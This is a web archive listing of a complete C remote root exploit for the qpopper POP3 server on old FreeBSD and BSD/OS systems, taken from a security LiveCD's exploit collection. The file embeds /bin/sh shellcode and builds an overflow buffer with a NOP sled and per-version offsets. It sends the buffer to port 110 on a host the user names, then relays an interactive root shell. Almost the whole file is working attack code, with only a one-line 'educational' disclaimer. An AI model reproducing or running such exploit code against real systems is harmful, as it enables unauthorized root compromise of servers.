home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / bsd-qpopper.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  108 lines

  1. /*
  2.  *      QPOPPER - remote root exploit
  3.  *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
  4.  *
  5.  *              - tested against: FreeBSD 3.0
  6.  *                                FreeBSD 2.2.x
  7.  *                                BSDI BSD/OS 2.1
  8.  *              - offsets: FreeBSD with qpopper 2.3 - 2.4    0
  9.  *                         FreeBSD with qpopper 2.1.4-R3     900
  10.  *                         BSD/OS  with qpopper 2.1.4-R3     1500
  11.  *
  12.  *      this is for EDUCATIONAL purposes ONLY
  13.  */
  14.  
  15. #include        <stdio.h>
  16. #include        <stdlib.h>
  17. #include        <sys/time.h>
  18. #include        <sys/types.h>
  19. #include        <unistd.h>
  20. #include        <sys/socket.h>
  21. #include        <netinet/in.h>
  22. #include        <netdb.h>
  23.  
  24. #include        <sys/errno.h>
  25.  
  26. char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
  27.             "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
  28.             "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
  29.             "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
  30.             "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
  31.             "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  32.  
  33. #define ADDR 0xefbfd504
  34. #define OFFSET 0
  35. #define BUFLEN 1200
  36.  
  37. char    buf[BUFLEN];
  38. int     offset=OFFSET;
  39.  
  40. int     sock;
  41. struct  sockaddr_in sa;
  42. struct  hostent *hp;
  43.  
  44. void main (int argc, char *argv[])
  45. {
  46.   int i;
  47.  
  48.   if(argc<2)
  49.     {
  50.       printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
  51.       exit(0);
  52.     }
  53.   if(argc>2)
  54.     offset=atoi(argv[2]);
  55.  
  56.   /* Prepare buffer */
  57.   memset(buf,0x90,BUFLEN);
  58.   memcpy(buf+800,shell,strlen(shell));
  59.   for(i=901;i<BUFLEN-4;i+=4)
  60.     *(int *)&buf[i]=ADDR+offset;
  61.   buf[BUFLEN]='\n';
  62.  
  63.   /* Resolve remote hostname & connect*/
  64.   if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL)
  65.     {
  66.       perror("gethostbyname()");
  67.       exit(0);
  68.     }
  69.  
  70.   if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
  71.     {
  72.       perror("socket()");
  73.       exit(0);
  74.     }
  75.   sa.sin_family=AF_INET;
  76.   sa.sin_port=htons(110);
  77.   memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
  78.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0)
  79.     {
  80.       perror("connect()");
  81.       exit(0);
  82.     }
  83.   printf("CONNECTED TO %s... SENDING DATA\n",argv[1]);
  84.   fflush(stdout);
  85.   /* Write evil data */
  86.   write(sock,buf,strlen(buf));
  87.  
  88.   /* Enjoy root shell ;) */
  89.   while(1)
  90.     {
  91.       fd_set input;
  92.  
  93.       FD_SET(0,&input);
  94.       FD_SET(sock,&input);
  95.       if((select(sock+1,&input,NULL,NULL,NULL))<0)
  96.         {
  97.           if(errno==EINTR) continue;
  98.           printf("CONNECTION CLOSED...\n");
  99.           fflush(stdout);
  100.           exit(1);
  101.         }
  102.       if(FD_ISSET(sock,&input))
  103.         write(1,buf,read(sock,buf,BUFLEN));
  104.       if(FD_ISSET(0,&input))
  105.         write(sock,buf,read(0,buf,BUFLEN));
  106.     }
  107. }
  108. /*                    www.hack.co.za              [2000]*/